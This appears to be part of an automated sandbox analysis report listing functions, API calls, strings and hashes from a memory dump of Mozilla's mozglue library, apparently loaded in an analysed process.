free.MOZGLUE(00000000), ref: 6C9058D3

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 255bc92a756f316472c6a1007f81d02dde3a3086e5a1b79a3a75c9bf5069e849
Instruction ID: 26207504f7fbe6639864e45825ec49e5cac1a47e3f356ae877247a24c749636f
Opcode Fuzzy Hash: 255bc92a756f316472c6a1007f81d02dde3a3086e5a1b79a3a75c9bf5069e849
Instruction Fuzzy Hash: 3F014F7172C2219BDF00DF1AD808E267BB9FB8332D73442B9E99AD2210D739D8159F85

Function 6C8F7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C8F75C4,?), ref: 6C8F762B

Part of subcall function 6C8BCA10: malloc.MOZGLUE(?), ref: 6C8BCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C8F74D7,6C9015FC,?,?,?), ref: 6C8F7644
GetCurrentThreadId.KERNEL32 ref: 6C8F765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C8F74D7,6C9015FC,?,?,?), ref: 6C8F7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C8F74D7,6C9015FC,?,?,?), ref: 6C8F7677

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: c5f5777889bc05605fccdfdc3798bf9f5663cb65f7bc75aafa211c3e1880c5eb
Instruction ID: a30d3a85337e4ce8564c56b245d93b401c94912b50fdd3d2c4fa2867d148a56c
Opcode Fuzzy Hash: c5f5777889bc05605fccdfdc3798bf9f5663cb65f7bc75aafa211c3e1880c5eb
Instruction Fuzzy Hash: A1F0C271E24745ABD7008F21C888676B7B8FFEB259F215316F94653602E7B4A5D08BD0

Function 6C901700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C901800

Part of subcall function 6C8DCBE8: GetCurrentProcess.KERNEL32(?,6C8A31A7), ref: 6C8DCBF1
Part of subcall function 6C8DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8A31A7), ref: 6C8DCBFA

Part of subcall function 6C8A4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C8E3EBD,6C8E3EBD,00000000), ref: 6C8A42A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6C9018C7
Details, xrefs: 6C901925
name, xrefs: 6C901939

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: d71821fbe445e7e5cf9775f2696019ff23b6b9e214204c38554e725923db7bea
Instruction ID: 4a57420000ec1ce024b3b87ab6dd111c5fc21c45ca1cb21d8585985659b18b64
Opcode Fuzzy Hash: d71821fbe445e7e5cf9775f2696019ff23b6b9e214204c38554e725923db7bea
Instruction Fuzzy Hash: EA712670A0470A9FCB04CF68D580BAABBB1FF85308F10466DD8554BB41DB74E698CBD2

Function 6C90B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6C90B0A6,6C90B0A6,?,6C90AF67,?,00000010,?,6C90AF67,?,00000010,00000000,?,?,6C90AB1F), ref: 6C90B1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6C90B0A6,6C90B0A6,?,6C90AF67,?,00000010,?,6C90AF67,?,00000010,00000000,?), ref: 6C90B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6C90B0A6,6C90B0A6,?,6C90AF67,?,00000010,?,6C90AF67,?,00000010), ref: 6C90B25F

Strings

map/set<T> too long, xrefs: 6C90B1FA

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 209b07d80d8fe5cdc6cbbdc8dbf8deb2c422d3e285c9f985fc9e77cfd337e30d
Instruction ID: 9e29de9c611c855e1a40aaf69cd64c566fb3d8c4669a4289794b7e253b5d7164
Opcode Fuzzy Hash: 209b07d80d8fe5cdc6cbbdc8dbf8deb2c422d3e285c9f985fc9e77cfd337e30d
Instruction Fuzzy Hash: EF6156747042459FDB01CF19C880A9ABBF6BF4A318F28C5ADD8599BB52C331ED45CBA1

Function 6C8CD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C8DCBE8: GetCurrentProcess.KERNEL32(?,6C8A31A7), ref: 6C8DCBF1
Part of subcall function 6C8DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8A31A7), ref: 6C8DCBFA

EnterCriticalSection.KERNEL32(6C92E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C8DD1C5), ref: 6C8CD4F2
LeaveCriticalSection.KERNEL32(6C92E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C8DD1C5), ref: 6C8CD50B

Part of subcall function 6C8ACFE0: EnterCriticalSection.KERNEL32(6C92E784), ref: 6C8ACFF6
Part of subcall function 6C8ACFE0: LeaveCriticalSection.KERNEL32(6C92E784), ref: 6C8AD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C8DD1C5), ref: 6C8CD52E
EnterCriticalSection.KERNEL32(6C92E7DC), ref: 6C8CD690
LeaveCriticalSection.KERNEL32(6C92E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C8DD1C5), ref: 6C8CD751

Strings

MOZ_CRASH(), xrefs: 6C8CD4BB

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: a252538a74027cab18c1844b1e361248c82c9829be472a1cf1305a7116982e0e
Instruction ID: 0007da389ddaa30cde953e8329763136e95609abaa4e004d50006858810bc44d
Opcode Fuzzy Hash: a252538a74027cab18c1844b1e361248c82c9829be472a1cf1305a7116982e0e
Instruction Fuzzy Hash: 2B51D171B18B018FD324DF28C29061AB7E5EB89714F654E2FD5AAC7B85D774E800CB82

Function 6C8F4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C8F4721

Strings

., xrefs: 6C8F476A
-%llu, xrefs: 6C8F4733
profiler-paused, xrefs: 6C8F46E4

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: c894ffe2533d648f138c435ea8fe731705c3798ab3faca2a972bc3ab5a810862
Instruction ID: 07c65dc887285189e1aaca9c25b8c3b4a8a170798837ddf18bd5a2d3a6d7223c
Opcode Fuzzy Hash: c894ffe2533d648f138c435ea8fe731705c3798ab3faca2a972bc3ab5a810862
Instruction Fuzzy Hash: 96414B71A087189BCB08DF7CDA5215EB7E5EFC5384F208A3EE85597B81EB349805C741

Function 6C919830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C91985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C91987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C9198DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C9198D9

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 3bac8e847f9d2da2df975000f359055438f8b635912853446a0b48f6f29434e4
Instruction ID: 0ec2c6b951876207552ddba8ad839f73d74b4712757cffa6e3e383c5028e1e6f
Opcode Fuzzy Hash: 3bac8e847f9d2da2df975000f359055438f8b635912853446a0b48f6f29434e4
Instruction Fuzzy Hash: CA313571B042086BDB24AF5DD8419EE77A8DF84318F51887DEA1A9BB40CB35A9058BE1

Function 6C8F46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C8F4721

Part of subcall function 6C8A4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C8E3EBD,00000017,?,00000000,?,6C8E3EBD,?,?,6C8A42D2), ref: 6C8A4444

Strings

., xrefs: 6C8F476A
-%llu, xrefs: 6C8F4733
profiler-paused, xrefs: 6C8F46E4

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 268896e94e3d86c3f93f1e812ef5b7a98c41ff468e3b163b9692728fd83396ff
Instruction ID: a9298479b50dd51b4c5b9dcb066b7780c30af86a69e8b71906a0b7c4d1cc9184
Opcode Fuzzy Hash: 268896e94e3d86c3f93f1e812ef5b7a98c41ff468e3b163b9692728fd83396ff
Instruction Fuzzy Hash: 41311471F0421C9BCB08CF6CDA8129EBBE6DBC9314F15893EE9159BB41EB74D9058B90

Function 6C8FB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8A4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C8E3EBD,6C8E3EBD,00000000), ref: 6C8A42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C8FB127), ref: 6C8FB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C8FB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C8FB4E4

Strings

pid:, xrefs: 6C8FB4DE

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: b9addfeb3c569b6762fb6014e14f9961c2eaac3293346d93596769c54b9954e0
Instruction ID: 731f37e0a92ffcd566dfdeb694e2e6115707dd454065d72f2e1e35e55a507f00
Opcode Fuzzy Hash: b9addfeb3c569b6762fb6014e14f9961c2eaac3293346d93596769c54b9954e0
Instruction Fuzzy Hash: 5E311731A01208CBDB20DFA9DA80AFEB7B5FF49358F540929D4A167A41D731E846CBE1

Function 6C8AF100 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(shell32,?,6C91D020), ref: 6C8AF122
GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C8AF132

Strings

SHGetKnownFolderPath, xrefs: 6C8AF12C
shell32, xrefs: 6C8AF11D

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetKnownFolderPath$shell32
API String ID: 2574300362-1045111711
Opcode ID: 8e93f2c85cd5d984f6293dfabd53834f7464466dcb0b4102280a6cd675ce8b50
Instruction ID: 9993547d4a428cf302e9a95faffe0cfa3b7ea6c264c9d97f8a4ec3b0a0792179
Opcode Fuzzy Hash: 8e93f2c85cd5d984f6293dfabd53834f7464466dcb0b4102280a6cd675ce8b50
Instruction Fuzzy Hash: DB015E71715219DBCB209FA9DD58AAB7BF8FF4A655B500428E889D7200D734AA04CBA0

Function 6C8EE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C8EE577
AcquireSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EE584
ReleaseSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C8EE8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6C8EE5A1, 6C8EE5CC, 6C8EE5FF, 6C8EE62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C8EE722, 6C8EE750, 6C8EE7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C8EE826, 6C8EE850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C8EE777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C8EE655

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: b427d0b943330fd6e16c301291241de72bf3d6b446bfdb42151ddb316fe73fee
Instruction ID: e906eb819969a80b956d451fd3ad2dd34a49306343b4a793e0b2bd85d5721dfb
Opcode Fuzzy Hash: b427d0b943330fd6e16c301291241de72bf3d6b446bfdb42151ddb316fe73fee
Instruction Fuzzy Hash: 8911A531A18264DFCB109F14C448B59B7F4FB8A72CF210519E8C647A50C7B8E805CBD1

Function 6C8DCBE8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,6C8A31A7), ref: 6C8DCBF1
TerminateProcess.KERNEL32(00000000,00000003,?,6C8A31A7), ref: 6C8DCBFA

Strings

<jemalloc>, xrefs: 6C8DCFFC
: (malloc) Error in VirtualFree(), xrefs: 6C8DD001

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2429186680-2186867486
Opcode ID: 0d492c39876bff018f7e103ee7eef2631e359270df83cffd3c90678ff1712a38
Instruction ID: 20e50d94431efda1cbd7c7854e0d06edd134b295467fd35d4748f31dc646c1f1
Opcode Fuzzy Hash: 0d492c39876bff018f7e103ee7eef2631e359270df83cffd3c90678ff1712a38
Instruction Fuzzy Hash: B5B092706283089BDB202BA4980DB093BBCB709A01F140828A24282241CBBDA1008EA1

Function 6C8B2272 Relevance: 6.6, APIs: 5, Instructions: 360COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C8B237F
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C8B2B9C

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 2b5e76fe371d6d828a4a001ea91e0057b160294e7171f1268855ddcbd2edf91b
Instruction ID: 737f21c529a5d9566596a006cc3692c7c220b1e40b87f00666d50920d0092888
Opcode Fuzzy Hash: 2b5e76fe371d6d828a4a001ea91e0057b160294e7171f1268855ddcbd2edf91b
Instruction Fuzzy Hash: 03E18171A002069FCB28CF59CAD4B9EBBB2FF88314F198568E9056B705D775EC85CB90

Function 6C8F0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C8F0CD5

Part of subcall function 6C8DF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C8DF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C8F0D40
free.MOZGLUE ref: 6C8F0DCB

Part of subcall function 6C8C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C8C5EDB
Part of subcall function 6C8C5E90: memset.VCRUNTIME140(6C907765,000000E5,55CCCCCC), ref: 6C8C5F27
Part of subcall function 6C8C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C8C5FB2

free.MOZGLUE ref: 6C8F0DDD
free.MOZGLUE ref: 6C8F0DF2

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 1ff8a82bc383bfa2a2f888e15ec2aeb6431923389b559031e029b7cb99ea34b1
Instruction ID: 0c32ef044cdaf46ecb7f7bb11962e0b997571e655e2b68f7125b2a0094fa3371
Opcode Fuzzy Hash: 1ff8a82bc383bfa2a2f888e15ec2aeb6431923389b559031e029b7cb99ea34b1
Instruction Fuzzy Hash: E9413571A0C7848FD720DF29C18039AFBE5BF89654F118A2EE8E887B10D770A445CB92

Function 6C8F9120 Relevance: 6.3, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C8F8242,?,00000000,?,6C8EB63F), ref: 6C8F9188
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C8F8242,?,00000000,?,6C8EB63F), ref: 6C8F91BB
memcpy.VCRUNTIME140(00000000,00000008,0000000F,?,?,6C8F8242,?,00000000,?,6C8EB63F), ref: 6C8F91EB
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C8F8242,?,00000000,?,6C8EB63F), ref: 6C8F9200
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C8F8242,?,00000000,?,6C8EB63F), ref: 6C8F9219

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: fb9033ed49aabd9c01b05394ae5ffd766708180f25493f2d4862b3b4708b6b53
Instruction ID: a041f3b9b8943c71fd67a96c1c310278b3644b9d91ea842321b6619ed3398034
Opcode Fuzzy Hash: fb9033ed49aabd9c01b05394ae5ffd766708180f25493f2d4862b3b4708b6b53
Instruction Fuzzy Hash: FE313531A006098FEB20DF68DD8476A73E9EF81354F514A3DD87AD7640EB35D846CBA1

Function 6C8E0800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C92E7DC), ref: 6C8E0838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C8E084C
EnterCriticalSection.KERNEL32(?), ref: 6C8E08AF
LeaveCriticalSection.KERNEL32(?), ref: 6C8E08BD
LeaveCriticalSection.KERNEL32(6C92E7DC), ref: 6C8E08D5

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 530ce74659929df405bea8cf7b81016ae02cd527dbe101db935d1ceba37f798c
Instruction ID: 7f6102a70e5e9bc3dd95bd67cae899e41b47be84cd7206e121ba89ade1c17012
Opcode Fuzzy Hash: 530ce74659929df405bea8cf7b81016ae02cd527dbe101db935d1ceba37f798c
Instruction Fuzzy Hash: F021C130B1522D8BDB149FA5DD84BAA73B9BF4A709F600D38D549A7A00DF35A8048BD0

Function 6C8FCCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C8EDA31,00100000,?,?,00000000,?), ref: 6C8FCDA4

Part of subcall function 6C8BCA10: malloc.MOZGLUE(?), ref: 6C8BCA26

Part of subcall function 6C8FD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C8FCDBA,00100000,?,00000000,?,6C8EDA31,00100000,?,?,00000000,?), ref: 6C8FD158
